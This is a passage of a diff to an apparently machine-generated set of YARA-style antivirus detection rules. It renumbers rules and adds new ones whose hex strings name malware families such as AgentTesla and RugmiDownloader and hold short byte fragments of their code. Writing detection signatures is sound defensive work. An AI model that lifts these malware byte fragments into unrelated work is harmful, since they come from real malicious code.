1)*18467+(#a_01_1 & 1)*25970+(#a_01_2 & 1)*29793+(#a_01_3 & 1)*105+(#a_01_4 & 1)*105+(#a_01_5 & 1)*29299+(#a_01_6 & 1)*29555+(#a_01_8 & 1)*16645+(#a_01_9 & 1)*26169+(#a_01_10 & 1)*25445) >=10 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25970+(#a_01_2 & 1)*29793+(#a_01_3 & 1)*105+(#a_01_4 & 1)*105+(#a_01_6 & 1)*1536+(#a_01_7 & 1)*25964+(#a_01_8 & 1)*21107+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=10 } -rule _InfrastructureShared_28207{ +rule _InfrastructureShared_29957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " strings : $a_01_0 = {4e 3a 69 65 34 75 69 6e 69 74 2e 65 78 65 00 0a 00 18 49 00 45 00 34 00 55 00 49 00 4e 00 49 00 54 00 2e 00 45 00 58 00 45 00 0a 00 4c 4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 20 00 46 00 69 00 72 00 73 } //20259 $a_01_2 = {00 6f 00 6d 00 65 00 20 00 50 00 61 00 67 00 65 00 20 00 52 00 65 00 73 00 75 00 6c 00 74 00 3a 00 25 00 31 00 21 00 6c 00 78 00 21 00 0a 00 44 49 00 45 00 20 00 50 00 65 00 72 00 2d 00 55 00 73 00 65 00 72 00 20 00 } //32 - $a_01_3 = {00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 20 00 55 00 74 00 69 00 6c 00 69 00 74 00 79 00 0a 00 0c 69 65 34 75 69 6e 69 74 2e 70 64 62 00 00 61 dc 00 00 05 00 05 00 09 00 21 43 72 6f 73 73 52 69 64 65 72 00 01 00 14 43 72 6f 73 73 72 69 64 65 72 42 61 63 6b 67 72 6f 75 6e 64 01 00 0d 63 72 6f 73 } //73 + $a_01_3 = {00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 20 00 55 00 74 00 69 00 6c 00 69 00 74 00 79 00 0a 00 0c 69 65 34 75 69 6e 69 74 2e 70 64 62 00 00 61 dc 00 00 04 00 04 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4c 4f 31 32 00 02 00 4f 06 02 09 } //73 condition: ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*32+(#a_01_3 & 1)*73) >=30 } -rule _InfrastructureShared_28208{ +rule _InfrastructureShared_29958{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 03 00 21 " + + strings : + $a_01_0 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4c 4f 31 32 00 02 00 4f 06 02 09 11 04 6f ab 01 00 06 13 05 04 03 6f 57 00 00 0a 59 13 06 11 06 19 28 10 00 00 06 2c 0a 03 11 05 28 11 00 00 06 2b 0f 11 06 16 31 0a 03 } //18467 + $a_01_1 = {06 28 12 00 00 06 11 04 17 58 13 04 11 04 08 17 94 } //1297 + $a_01_2 = {6f 57 00 } //2351 + condition: + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1297+(#a_01_2 & 1)*2351) >=4 + +} +rule _InfrastructureShared_29959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 09 00 21 " @@ -367840,7 +390672,7 @@ rule _InfrastructureShared_28208{ ((#a_01_0 & 1)*29251+(#a_01_1 & 1)*21276+(#a_01_2 & 1)*14930+(#a_01_3 & 1)*28518+(#a_01_4 & 1)*12855+(#a_01_5 & 1)*11826+(#a_01_6 & 1)*28021+(#a_01_7 & 1)*12082+(#a_01_8 & 1)*29548) >=5 } -rule _InfrastructureShared_28209{ +rule _InfrastructureShared_29960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -367859,7 +390691,7 @@ rule _InfrastructureShared_28209{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29268+(#a_01_2 & 1)*26209+(#a_01_3 & 1)*14957+(#a_01_4 & 1)*24933+(#a_01_5 & 1)*4+(#a_01_6 & 1)*16675+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*0) >=10 } -rule _InfrastructureShared_28210{ +rule _InfrastructureShared_29961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -367870,7 +390702,7 @@ rule _InfrastructureShared_28210{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*27247) >=1 } -rule _InfrastructureShared_28211{ +rule _InfrastructureShared_29962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -367883,7 +390715,7 @@ rule _InfrastructureShared_28211{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0) >=4 } -rule _InfrastructureShared_28212{ +rule _InfrastructureShared_29963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 04 00 06 00 21 " @@ -367898,7 +390730,7 @@ rule _InfrastructureShared_28212{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25972+(#a_01_2 & 1)*27753+(#a_01_3 & 1)*28792+(#a_01_4 & 1)*8293+(#a_01_5 & 1)*21283) >=4 } -rule _InfrastructureShared_28213{ +rule _InfrastructureShared_29964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -367912,7 +390744,7 @@ rule _InfrastructureShared_28213{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29811+(#a_01_2 & 1)*29811+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2) >=5 } -rule _InfrastructureShared_28214{ +rule _InfrastructureShared_29965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 06 00 21 " @@ -367926,7 +390758,7 @@ rule _InfrastructureShared_28214{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*28261+(#a_01_3 & 1)*101+(#a_01_4 & 1)*28798+(#a_01_5 & 1)*31600) >=12 } -rule _InfrastructureShared_28215{ +rule _InfrastructureShared_29966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -367940,7 +390772,7 @@ rule _InfrastructureShared_28215{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28742+(#a_01_2 & 1)*28784+(#a_01_3 & 1)*45+(#a_01_4 & 1)*25959) >=5 } -rule _InfrastructureShared_28216{ +rule _InfrastructureShared_29967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -367953,7 +390785,7 @@ rule _InfrastructureShared_28216{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*45+(#a_01_2 & 1)*14962+(#a_01_3 & 1)*25971) >=5 } -rule _InfrastructureShared_28217{ +rule _InfrastructureShared_29968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 0a 00 21 " @@ -367969,7 +390801,7 @@ rule _InfrastructureShared_28217{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*29453+(#a_01_3 & 1)*26386+(#a_01_5 & 1)*116+(#a_01_7 & 1)*116+(#a_01_8 & 1)*12857+(#a_01_9 & 1)*28271) >=15 } -rule _InfrastructureShared_28218{ +rule _InfrastructureShared_29969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -367981,7 +390813,7 @@ rule _InfrastructureShared_28218{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*101+(#a_01_3 & 1)*28531) >=30 } -rule _InfrastructureShared_28219{ +rule _InfrastructureShared_29970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 04 00 21 " @@ -367994,7 +390826,7 @@ rule _InfrastructureShared_28219{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29295+(#a_01_2 & 1)*28257+(#a_01_3 & 1)*29555) >=40 } -rule _InfrastructureShared_28220{ +rule _InfrastructureShared_29971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,2d 00 28 00 06 00 21 " @@ -368009,7 +390841,7 @@ rule _InfrastructureShared_28220{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*31526+(#a_01_2 & 1)*28530+(#a_01_3 & 1)*19488+(#a_01_4 & 1)*25441+(#a_01_5 & 1)*25170) >=40 } -rule _InfrastructureShared_28221{ +rule _InfrastructureShared_29972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -368023,7 +390855,7 @@ rule _InfrastructureShared_28221{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*25933+(#a_01_2 & 1)*8296+(#a_01_3 & 1)*28257+(#a_01_5 & 1)*25112) >=6 } -rule _InfrastructureShared_28222{ +rule _InfrastructureShared_29973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -368037,7 +390869,7 @@ rule _InfrastructureShared_28222{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*24856+(#a_01_3 & 1)*28265+(#a_01_5 & 1)*29465+(#a_01_6 & 1)*25697) >=7 } -rule _InfrastructureShared_28223{ +rule _InfrastructureShared_29974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -368052,7 +390884,7 @@ rule _InfrastructureShared_28223{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27763+(#a_01_3 & 1)*29457+(#a_01_4 & 1)*28500+(#a_01_5 & 1)*13363+(#a_01_6 & 1)*30035) >=8 } -rule _InfrastructureShared_28224{ +rule _InfrastructureShared_29975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -368069,7 +390901,7 @@ rule _InfrastructureShared_28224{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17992+(#a_01_2 & 1)*25968+(#a_01_3 & 1)*32+(#a_01_5 & 1)*92+(#a_01_7 & 1)*69+(#a_01_8 & 1)*11264+(#a_01_9 & 1)*26963) >=10 } -rule _InfrastructureShared_28225{ +rule _InfrastructureShared_29976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -368080,7 +390912,7 @@ rule _InfrastructureShared_28225{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*115) >=1 } -rule _InfrastructureShared_28226{ +rule _InfrastructureShared_29977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -368092,7 +390924,7 @@ rule _InfrastructureShared_28226{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*101+(#a_01_3 & 1)*80) >=2 } -rule _InfrastructureShared_28227{ +rule _InfrastructureShared_29978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -368104,7 +390936,7 @@ rule _InfrastructureShared_28227{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*117+(#a_01_2 & 1)*117) >=3 } -rule _InfrastructureShared_28228{ +rule _InfrastructureShared_29979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368115,7 +390947,7 @@ rule _InfrastructureShared_28228{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*72) >=4 } -rule _InfrastructureShared_28229{ +rule _InfrastructureShared_29980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 04 00 21 " @@ -368128,7 +390960,7 @@ rule _InfrastructureShared_28229{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30812+(#a_01_2 & 1)*110+(#a_01_3 & 1)*20526) >=6 } -rule _InfrastructureShared_28230{ +rule _InfrastructureShared_29981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -368141,7 +390973,7 @@ rule _InfrastructureShared_28230{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*47+(#a_01_3 & 1)*109+(#a_01_5 & 1)*111) >=6 } -rule _InfrastructureShared_28231{ +rule _InfrastructureShared_29982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -368153,7 +390985,7 @@ rule _InfrastructureShared_28231{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*115+(#a_01_3 & 1)*26912) >=30 } -rule _InfrastructureShared_28232{ +rule _InfrastructureShared_29983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -368164,7 +390996,7 @@ rule _InfrastructureShared_28232{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*111) >=3 } -rule _InfrastructureShared_28233{ +rule _InfrastructureShared_29984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -368175,7 +391007,7 @@ rule _InfrastructureShared_28233{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*114) >=3 } -rule _InfrastructureShared_28234{ +rule _InfrastructureShared_29985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -368188,7 +391020,7 @@ rule _InfrastructureShared_28234{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21332+(#a_01_2 & 1)*26478+(#a_01_3 & 1)*31098) >=3 } -rule _InfrastructureShared_28235{ +rule _InfrastructureShared_29986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368201,7 +391033,7 @@ rule _InfrastructureShared_28235{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*17198+(#a_01_2 & 1)*6+(#a_01_3 & 1)*21539) >=4 } -rule _InfrastructureShared_28236{ +rule _InfrastructureShared_29987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 04 00 06 00 21 " @@ -368215,7 +391047,7 @@ rule _InfrastructureShared_28236{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*26996+(#a_01_2 & 1)*25445+(#a_01_3 & 1)*21038+(#a_01_4 & 1)*24898) >=4 } -rule _InfrastructureShared_28237{ +rule _InfrastructureShared_29988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -368230,7 +391062,7 @@ rule _InfrastructureShared_28237{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*26996+(#a_01_2 & 1)*29537+(#a_01_3 & 1)*83+(#a_01_4 & 1)*73+(#a_01_5 & 1)*29281) >=6 } -rule _InfrastructureShared_28238{ +rule _InfrastructureShared_29989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 05 00 21 " @@ -368243,7 +391075,7 @@ rule _InfrastructureShared_28238{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*117+(#a_01_2 & 1)*27743+(#a_01_3 & 1)*25455) >=7 } -rule _InfrastructureShared_28239{ +rule _InfrastructureShared_29990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 06 00 21 " @@ -368256,7 +391088,7 @@ rule _InfrastructureShared_28239{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*24937+(#a_01_2 & 1)*27748+(#a_01_4 & 1)*109) >=12 } -rule _InfrastructureShared_28240{ +rule _InfrastructureShared_29991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368269,7 +391101,7 @@ rule _InfrastructureShared_28240{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*115+(#a_01_2 & 1)*111+(#a_01_3 & 1)*101) >=4 } -rule _InfrastructureShared_28241{ +rule _InfrastructureShared_29992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368282,7 +391114,7 @@ rule _InfrastructureShared_28241{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*100+(#a_01_2 & 1)*116+(#a_01_3 & 1)*8301) >=4 } -rule _InfrastructureShared_28242{ +rule _InfrastructureShared_29993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368295,7 +391127,7 @@ rule _InfrastructureShared_28242{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*14080+(#a_01_2 & 1)*31075+(#a_01_3 & 1)*117) >=4 } -rule _InfrastructureShared_28243{ +rule _InfrastructureShared_29994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -368309,7 +391141,7 @@ rule _InfrastructureShared_28243{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*100+(#a_01_3 & 1)*26999+(#a_01_4 & 1)*114+(#a_01_5 & 1)*24940) >=4 } -rule _InfrastructureShared_28244{ +rule _InfrastructureShared_29995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -368322,7 +391154,7 @@ rule _InfrastructureShared_28244{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*105+(#a_01_3 & 1)*6+(#a_01_4 & 1)*24902) >=5 } -rule _InfrastructureShared_28245{ +rule _InfrastructureShared_29996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 05 00 06 00 21 " @@ -368337,7 +391169,7 @@ rule _InfrastructureShared_28245{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*8250+(#a_01_2 & 1)*-20503+(#a_01_3 & 1)*13366+(#a_01_4 & 1)*14136+(#a_01_5 & 1)*19771) >=5 } -rule _InfrastructureShared_28246{ +rule _InfrastructureShared_29997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 07 00 21 " @@ -368353,7 +391185,7 @@ rule _InfrastructureShared_28246{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13879+(#a_01_2 & 1)*13366+(#a_01_3 & 1)*12596+(#a_01_4 & 1)*2125+(#a_01_5 & 1)*3210+(#a_01_6 & 1)*-17550) >=1 } -rule _InfrastructureShared_28247{ +rule _InfrastructureShared_29998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -368365,7 +391197,7 @@ rule _InfrastructureShared_28247{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*4677+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_28248{ +rule _InfrastructureShared_29999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368378,7 +391210,7 @@ rule _InfrastructureShared_28248{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28530+(#a_01_2 & 1)*25468+(#a_01_3 & 1)*8307) >=4 } -rule _InfrastructureShared_28249{ +rule _InfrastructureShared_30000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -368392,7 +391224,7 @@ rule _InfrastructureShared_28249{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29281+(#a_01_2 & 1)*29285+(#a_01_3 & 1)*20038+(#a_01_4 & 1)*83) >=5 } -rule _InfrastructureShared_28250{ +rule _InfrastructureShared_30001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -368404,7 +391236,7 @@ rule _InfrastructureShared_28250{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*98+(#a_01_2 & 1)*19748) >=30 } -rule _InfrastructureShared_28251{ +rule _InfrastructureShared_30002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -368416,7 +391248,7 @@ rule _InfrastructureShared_28251{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*47+(#a_01_3 & 1)*120) >=30 } -rule _InfrastructureShared_28252{ +rule _InfrastructureShared_30003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -368427,7 +391259,7 @@ rule _InfrastructureShared_28252{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*46) >=2 } -rule _InfrastructureShared_28253{ +rule _InfrastructureShared_30004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -368440,7 +391272,7 @@ rule _InfrastructureShared_28253{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0) >=3 } -rule _InfrastructureShared_28254{ +rule _InfrastructureShared_30005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -368452,7 +391284,7 @@ rule _InfrastructureShared_28254{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*46+(#a_01_3 & 1)*114) >=3 } -rule _InfrastructureShared_28255{ +rule _InfrastructureShared_30006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -368466,7 +391298,7 @@ rule _InfrastructureShared_28255{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*110+(#a_01_2 & 1)*4352+(#a_01_3 & 1)*29300+(#a_01_5 & 1)*99) >=3 } -rule _InfrastructureShared_28256{ +rule _InfrastructureShared_30007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368479,7 +391311,7 @@ rule _InfrastructureShared_28256{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*46+(#a_01_2 & 1)*109+(#a_01_3 & 1)*29709) >=4 } -rule _InfrastructureShared_28257{ +rule _InfrastructureShared_30008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 08 00 21 " @@ -368494,7 +391326,7 @@ rule _InfrastructureShared_28257{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*116+(#a_01_3 & 1)*115+(#a_01_4 & 1)*27168+(#a_01_5 & 1)*25970+(#a_01_6 & 1)*97) >=5 } -rule _InfrastructureShared_28258{ +rule _InfrastructureShared_30009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,32 00 32 00 09 00 21 " @@ -368511,7 +391343,7 @@ rule _InfrastructureShared_28258{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25705+(#a_01_2 & 1)*28522+(#a_01_3 & 1)*25712+(#a_01_5 & 1)*114+(#a_01_6 & 1)*101+(#a_01_7 & 1)*25197+(#a_01_8 & 1)*115) >=50 } -rule _InfrastructureShared_28259{ +rule _InfrastructureShared_30010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -368522,7 +391354,7 @@ rule _InfrastructureShared_28259{ ((#a_01_0 & 1)*21283+(#a_01_2 & 1)*1) >=2 } -rule _InfrastructureShared_28260{ +rule _InfrastructureShared_30011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -368534,7 +391366,7 @@ rule _InfrastructureShared_28260{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*15726+(#a_01_2 & 1)*8758) >=3 } -rule _InfrastructureShared_28261{ +rule _InfrastructureShared_30012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368547,7 +391379,7 @@ rule _InfrastructureShared_28261{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29807+(#a_01_2 & 1)*25972+(#a_01_3 & 1)*85) >=4 } -rule _InfrastructureShared_28262{ +rule _InfrastructureShared_30013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368560,7 +391392,7 @@ rule _InfrastructureShared_28262{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*85+(#a_01_2 & 1)*78+(#a_01_3 & 1)*4) >=4 } -rule _InfrastructureShared_28263{ +rule _InfrastructureShared_30014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368572,7 +391404,7 @@ rule _InfrastructureShared_28263{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*36+(#a_01_3 & 1)*102) >=4 } -rule _InfrastructureShared_28264{ +rule _InfrastructureShared_30015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -368584,7 +391416,7 @@ rule _InfrastructureShared_28264{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*87+(#a_01_3 & 1)*105) >=30 } -rule _InfrastructureShared_28265{ +rule _InfrastructureShared_30016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -368595,19 +391427,29 @@ rule _InfrastructureShared_28265{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28271) >=1 } -rule _InfrastructureShared_28266{ +rule _InfrastructureShared_30017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " strings : $a_01_0 = {77 66 69 3a 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 49 6e 73 74 61 6c 6c 49 51 00 01 00 42 63 00 3a 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 70 00 6b 00 67 00 5f 00 32 00 33 00 35 00 33 00 36 00 31 00 38 00 64 00 30 00 5c 00 61 00 75 00 74 00 6f 00 72 00 75 00 6e 00 2e 00 74 00 78 00 74 00 01 00 5e 74 00 68 00 65 00 } //19491 $a_01_1 = {00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 20 00 79 00 6f 00 75 00 20 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 65 00 64 00 20 00 69 00 73 00 20 00 6e 00 6f 00 74 00 20 00 61 00 76 00 61 00 69 00 6c 00 61 00 62 00 6c 00 65 00 2e 00 01 00 10 64 65 66 61 75 6c 74 20 62 } //32 - $a_01_2 = {73 65 72 3a 00 00 61 e7 00 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 62 6f 74 5f 74 68 72 65 61 64 73 00 01 00 1b 25 73 20 53 74 6f 70 70 65 64 3a 20 3c 25 64 3e 20 74 68 72 65 61 64 28 73 29 2e 01 00 1b 25 73 20 4e 6f 20 61 63 74 69 76 65 20 74 68 72 65 61 64 73 20 66 6f 75 6e 64 2e 01 00 16 25 73 20 4b 69 6c 6c 65 64 20 74 68 72 65 61 64 3a 20 3c 25 73 } //28530 + $a_01_2 = {73 65 72 3a 00 00 61 e7 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 75 67 6d 69 44 6f 77 6e 6c 6f 61 64 65 72 2e 5a 5a 21 4d 54 42 00 01 00 b2 e8 8b 50 0c 89 55 ec 8b 4d cc e8 df fb ff ff 89 45 dc 83 7d 10 00 75 05 e9 dd 02 00 00 8b 4d cc e8 d9 f9 ff ff 8b f0 8b 4d cc e8 3f ff ff ff 2b c6 3b 45 10 73 0a e8 83 06 00 } //28530 condition: ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*32+(#a_01_2 & 1)*28530) >=3 } -rule _InfrastructureShared_28267{ +rule _InfrastructureShared_30018{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 75 67 6d 69 44 6f 77 6e 6c 6f 61 64 65 72 2e 5a 5a 21 4d 54 42 00 01 00 b2 e8 8b 50 0c 89 55 ec 8b 4d cc e8 df fb ff ff 89 45 dc 83 7d 10 00 75 05 e9 dd 02 00 } //21539 + condition: + ((#a_01_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_30019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -368620,7 +391462,7 @@ rule _InfrastructureShared_28267{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27756+(#a_01_2 & 1)*24902+(#a_01_4 & 1)*82) >=3 } -rule _InfrastructureShared_28268{ +rule _InfrastructureShared_30020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -368632,7 +391474,7 @@ rule _InfrastructureShared_28268{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*51+(#a_01_4 & 1)*83) >=5 } -rule _InfrastructureShared_28269{ +rule _InfrastructureShared_30021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 13 00 21 " @@ -368660,7 +391502,7 @@ rule _InfrastructureShared_28269{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 